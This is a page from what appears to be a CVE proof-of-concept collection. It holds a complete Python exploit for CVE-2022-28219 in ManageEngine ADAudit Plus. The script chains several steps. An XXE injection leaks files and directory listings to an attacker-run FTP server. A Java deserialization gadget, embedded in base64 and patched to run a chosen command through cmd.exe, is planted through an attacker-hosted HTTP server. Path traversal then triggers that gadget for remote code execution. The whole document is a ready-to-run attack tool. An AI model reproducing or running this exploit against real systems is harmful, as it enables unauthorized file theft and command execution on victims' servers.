4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-28219.py PY
from argparse import ArgumentParser
import http.server
import socketserver
from urllib.parse import urlparse
from functools import partial
import sys
from time import sleep
from threading import Thread
from queue import Queue, Empty
import requests
import base64
import json
import struct
import random
import string

GET_FILE_OR_DIR_TEMPLATE = """[
    {{
        "DomainName": "{domain}",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?><!DOCTYPE data [<!ENTITY % start \\"<![CDATA[\\"><!ENTITY % file SYSTEM \\"file:{path}\\"><!ENTITY % end \\"]]>\\"><!ENTITY % dtd SYSTEM \\"http://{lhost}:{lport}/data.dtd\\"> %dtd;]><data>&send;</data>"
    }}
]"""

UPLOAD_JAR_TEMPLATE = """[
    {{
        "DomainName": "{domain}",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \\"jar:http://{lhost}:{lport}/upload.jar!/file.txt\\"> %xxe; ]>"
    }}
]
"""

FTP_RECV_QUEUE = Queue()
WEB_RECV_QUEUE = Queue()
WEB_COMMAND_QUEUE = Queue()
WEB_RELEASE_QUEUE = Queue()

# Web server used to host dtd and implement jar file upload
# Based on:
# https://github.com/pwntester/BlockingServer
# https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf
class WebHandler(http.server.BaseHTTPRequestHandler):
    def __init__(self, *args, dtd_payload=None, **kwargs):
        self._dtd_payload = dtd_payload
        self._command = None
        super().__init__(*args, **kwargs)

    def _generate_payload(self, command):
        # https://github.com/rapid7/metasploit-framework/blob/4cf3ae352c0ea2c52330950f518ea6c9eb0381c7/lib/msf/util/java_deserialization.rb#L12
        # CommonsBeanutils1
        length_offsets = [577, 1809]
        buffer_offset = 1810
        payload = 'rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABtHK/rq+AAAAMwA/CgADACIHAD0HACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAQamF2YS9sYW5nL1N0cmluZwcAMAEAB2NtZC5leGUIADIBAAIvYwgANAEAAAgANgEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAA4ADkKACsAOgEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIwMDAwMDAwMDAwMDAwMAEAH0x5c29zZXJpYWwvUHduZXIwMDAwMDAwMDAwMDAwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAwAA4AAAAMAAEAAAAFAA8APgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA1AA4AAAAgAAMAAAABAA8APgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA5AA4AAAAqAAQAAAABAA8APgAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAA1AAYAAgAAACCnAAMBTLgALwa9ADFZAxIzU1kEEjVTWQUSN1O2ADtXsQAAAAEAPAAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAAMwAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA9AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14'
        payload_bytes = bytearray(base64.b64decode(payload))
        payload_bytes = payload_bytes[:buffer_offset] + command.encode() + payload_bytes[buffer_offset:]

        for l in length_offsets:
            length = struct.unpack('>H', payload_bytes[l-1:l+1])[0]
            length += len(command)
            payload_bytes[l-1:l+1] = struct.pack('>H', length)

        rand1 = ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(0, 29)])
        rand2 = ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(0, 9)])

        payload_bytes = payload_bytes.replace(b'ysoserial/Pwner00000000000000', rand1.encode())
        payload_bytes = payload_bytes.replace(b'ysoserial', rand2.encode())

        return bytes(payload_bytes)

    def do_GET(self):
        parsed = urlparse(self.path)
        if parsed.path.lower().strip() == '/data.dtd':
            self.send_response(200)
            self.end_headers()
            self.wfile.write(self._dtd_payload.encode())
            return
        elif parsed.path.lower().strip().startswith('/upload.jar'):
            try:
                self._command = WEB_COMMAND_QUEUE.get(timeout=1)
            except:
                pass
                
            if not self._command:
                sys.stderr.write('No command to generate exploit payload\n')
                self.send_response(404)
                self.end_headers()
            else:
                print(f'HTTP Server: Generated payload for command: {self._command}')
                payload_bytes = self._generate_payload(self._command)
                self.send_response(200)
                self.send_header('Content-Type', 'application/java-archive')
                self.end_headers()
                self.wfile.write(payload_bytes)
                self.wfile.flush()
                print('HTTP Server: Blocking full transmission of jar file upload')
                WEB_RECV_QUEUE.put('Upload jar sent')
                try:
                    WEB_RELEASE_QUEUE.get(timeout=300)
                except:
                    pass
        else:
            sys.stderr.write(f'HTTP Server: No file for path {parsed.path}\n')
            self.send_response(404)
            self.end_headers()

# XXE FTP exfil server
# https://github.com/LandGrey/xxe-ftp-server
# https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/python/xxe-server.py
# https://staaldraad.github.io/2016/12/11/xxeftp/
class FTPHandler(socketserver.BaseRequestHandler):

    def _send_txt(self, s):
        print(f'FTP Server > {s}')
        self.request.sendall(s.encode() + b'\n')

    def _recv_text(self):
        ret = self.request.recv(4096).strip().decode(errors='ignore')
        print(f'FTP Server < {ret}')
        return ret

    def handle(self):
        self.request.settimeout(7)
        print(f'FTP Server: Received connection from {self.client_address[0]}')
        self._send_txt('220 FTP Server')
        added_to_queue = False
        recv_file = ''
        try:
            while True:
                data = self._recv_text()
                if data.startswith('CWD '):
                    recv_file += data.lstrip('CWD ') + '/'
                if data.startswith('RETR '):
                    recv_file += data.lstrip('RETR ')
                    FTP_RECV_QUEUE.put(recv_file)
                    added_to_queue = True
                elif 'LIST' in data:
                    self._send_txt('drwxrwxrwx 1 owner group          1 Feb 21 01:11 rsl')
                    self._send_txt('150 Opening BINARY mode data connection for /bin/ls')
                    self._send_txt('226 Transfer complete.')
                elif 'USER' in data:
                    self._send_txt('331 password please - version check')
                elif 'PORT' in data:
                    self._send_txt('200 PORT command ok')
                elif 'SYST' in data:
                    self._send_txt('215 RSL')
                elif data.startswith('QUIT'):
                    print(f'Client closed connection, might be Java version >= 8u131')
                    break
                else:
                    self._send_txt('230 more data please!')
        except Exception as e:
            print(f'FTP Server: {e}\n')
        print (f'FTP Server: Connection from {self.client_address[0]} closed')

        if recv_file and not added_to_queue:
            FTP_RECV_QUEUE.put(recv_file)

class ExploitClient:
    def __init__(self, target_url, domain, lhost, http_port):
        self._target_url = target_url
        self._agent_data_endpoint = target_url.rstrip('/') + '/api/agent/tabs/agentData'
        self._cewolf_endpoint = target_url.rstrip('/') + '/cewolf/logo.png'
        self._domain = domain
        self._lhost = lhost
        self._http_port = http_port

    def check_vulnerable(self):
        try:
            r = requests.get(self._cewolf_endpoint, timeout=20, verify=False)
            if r.status_code == 200 and 'Cewolf servlet up' in r.text:
                print(f'Exploit Client: Target {self._target_url} is vulnerable to CVE-2022-28219')
                return True
        except Exception as e:
            print(f'Exploit Client: Request to get {self._cewolf_endpoint} failed with exception {e}')

        print(f'Exploit Client: Target {self._target_url} is likely not vulnerable to CVE-2022-28219')
        return False

    def fetch(self, path):
        payload = GET_FILE_OR_DIR_TEMPLATE.format(domain=self._domain, path=path, lhost=self._lhost, lport=self._http_port)
        try:
            r = requests.post(self._agent_data_endpoint, json=json.loads(payload), verify=False, timeout=20)
            if r.status_code == 200:
                print(f'Exploit Client: Sent request to get {path}, got response: {r.text}')
                return True
            else:
                print(f'Exploit Client: Request to get {path} failed with code: {r.status_code} and response {r.text}')
        except Exception as e:
            print(f'Exploit Client: Request to get {path} failed with exception {e}')

        return False

    def upload_payload(self):
        payload = UPLOAD_JAR_TEMPLATE.format(domain=self._domain, lhost=self._lhost, lport=self._http_port)
        try:
            r = requests.post(self._agent_data_endpoint, json=json.loads(payload), verify=False, timeout=20)
            if r.status_code == 200:
                print(f'Exploit Client: Sent request to upload payload, got response {r.text}')
                return True
            else:
                print(f'Exploit Client: Request to upload payload failed with code: {r.status_code} and response {r.text}')
        except Exception as e:
            print(f'Exploit Client: Request to upload payload failed with exception {e}')

        return False

    def trigger_payload(self, path):
        try:
            # strip c:/ from beginning of path
            r = requests.get(f'{self._cewolf_endpoint}?img=/../../../../../../../../../../../../../{path}', verify=False, timeout=20)
            if r.status_code == 200:
                print(f'Exploit Client: Sent request to trigger payload at path {path}')
                return True
            else:
                print(f'Exploit Client: Request to trigger payload at path {path} failed with code: {r.status_code} and response {r.text}')
        except Exception as e:
            print(f'Exploit Client: Request to trigger payload at path {path} failed with exception {e}')

        return False

def _start_server(server):
    try:
        t = Thread(target=server.serve_forever)
        t.daemon = True
        t.start()
    except Exception as e:
        sys.stderr.write(f'Error starting server: {e}\n')
        sys.exit(1)

def _receive_data(timeout=15):
    try:
        data = FTP_RECV_QUEUE.get(timeout=timeout)
        return data
    except Empty:
        print('No data received')
        return None
    except Exception as e:
        sys.stderr.write(f'Unexpected error receiving data from FTP server: {e}\n')
        return None

def _get_local_users(client):
    if client.fetch('/users/'):
        d = _receive_data()
        if not d:
            print(f'Failed to retrieve users')
            return []
        users = [u.strip() for u in d.splitlines() if u.strip() and u.strip() not in ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']]
        if users:
            print(f'Found non-default users: {users}')
        else:
            print(f'Could not find any users')
        return users

    return []

def _upload_payload(client, timeout=30):
    if client.upload_payload():
        try:
            WEB_RECV_QUEUE.get(timeout=timeout)
            return True
        except Empty:
            print('No data received')
            return False
        except Exception as e:
            sys.stderr.write(f'Unexpected error receiving data from web server: {e}\n')
            return False
    return False

def _locate_payload(client, users):
    ret = []
    paths = []

    for u in users:
        if u.lower() == 'localsystem':
            paths += ['/windows/system32/config/systemprofile/appdata/local/temp/', '/windows/syswow64/config/systemprofile/appdata/local/temp/', '/windows/temp/']
        else:
            paths.append(f'/users/{u}/appdata/local/temp/')

    # breadth first search in temp dirs
    while len(paths) > 0:
        if client.fetch(paths[0]):
            d = _receive_data()
            if d is not None:
                files = [f.strip() for f in d.splitlines()]
                for f in files:
                    if f.lower().startswith('jar') and f.lower().endswith('.tmp'):
                        ret.append(paths[0] + f)
                        print(f'Found potential payload at {paths[0] + f}')
                    elif not '.' in f.lower(): # exclude files
                        paths.append(paths[0] + f + '/')
        if ret:
            return paths[0], ret
        else:
            print(f'Could not find payload at {paths[0]}')
        paths.remove(paths[0])
        sleep(8)

    return None, ret

def _get_file(client, path):
    if client.fetch(path):
        d = _receive_data()
        if not d:
            print(f'Failed to retrieve file at {path}')
        else:
            print(f'\n\n\n\nReceived file:\n\n{d}')
            return d

    return None

def _run_exploit(client, users, command):
    # Upload the 'jar' file payload
    WEB_COMMAND_QUEUE.put(command)
    if not _upload_payload(client):
        return None

    sleep(8)
    # Locate the payload in one of the user's tmp directories
    _, payload_paths = _locate_payload(client, users)
    if not payload_paths:
        return None

    # Trigger payload - should just be one but there may be multiple, fire them all
    for p in payload_paths:
        client.trigger_payload(p)

    sleep(3)
    # gracefully close the connection to clean up the temp file on the server
    WEB_RELEASE_QUEUE.put('release')
    sleep(1)

def _parse_args():
    parser = ArgumentParser()
    parser.add_argument('-t', '--target', help='target URL with port', required=True)
    parser.add_argument('-l', '--lhost', help='local bind IP', required=True)
    parser.add_argument('-d', '--domain', help='fully qualified domain served by ADAudit Plus', required=True)
    parser.add_argument('-lhp', '--http-port', help='local HTTP port to bind to', default=8080, type=int)
    parser.add_argument('-lfp', '--ftp-port', help='local FTP port to bind to', default=2121, type=int)
    parser.add_argument('-f', '--file', help='get file or directory listing at given path, use forward slashes and don\'t include drive, e.g. /windows/win.ini or /users', required=False)
    parser.add_argument('-c', '--command', help='command to execute, e.g. calc.exe', required=False)
    parser.add_argument('-u', '--user', help='user running ADAudit Plus app, useful for finding upload file quickly', required=False)
    return parser.parse_args()

def main():
    args = _parse_args()

    if not args.file and not args.command:
        sys.stderr.write('Either the file or command arg must be set\n')
        sys.exit(1)
    elif args.file and args.command:
        sys.stderr.write('Only one of the file or command arg must be set\n')
        sys.exit(1)

    dtd_payload = """<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://{}:{}/%file;'>"> %all;"""
    dtd_payload = dtd_payload.format(args.lhost, args.ftp_port)

    _start_server(http.server.ThreadingHTTPServer( (args.lhost, args.http_port), partial(WebHandler, dtd_payload=dtd_payload)))
    _start_server( socketserver.TCPServer( (args.lhost, args.ftp_port), FTPHandler) )

    client = ExploitClient(args.target, args.domain.lower(), args.lhost, args.http_port)

    try:
        if not client.check_vulnerable():
            return

        if args.file: # if file arg is passed, just try to get the file and exit
            d = _get_file(client, args.file)
            return
        # else we're in command mode
        
        # let's grab a file first to check if XXE -> RCE is possible
        d = _get_file(client, '/windows/win.ini')
        if not d:
            print('Failed to leak /windows/win.ini file, XXE may not be exploitable to leak files (Java version >= 8u131')
            return

        # Fetch users, we need this to locate upload payload to trigger deserialization
        if args.user:
            users = [args.user]
        else:
            users = _get_local_users(client)
            if not users:
                print('No users found, using default list')
                users = ['administrator']
            users.append('localsystem')

        sleep(8)

        _run_exploit(client, users, args.command)
        return

    except Exception as e:
        sys.stderr.write(f'Unexpected error: {e}\n')
        sys.exit(1)

if __name__ == '__main__':
    main()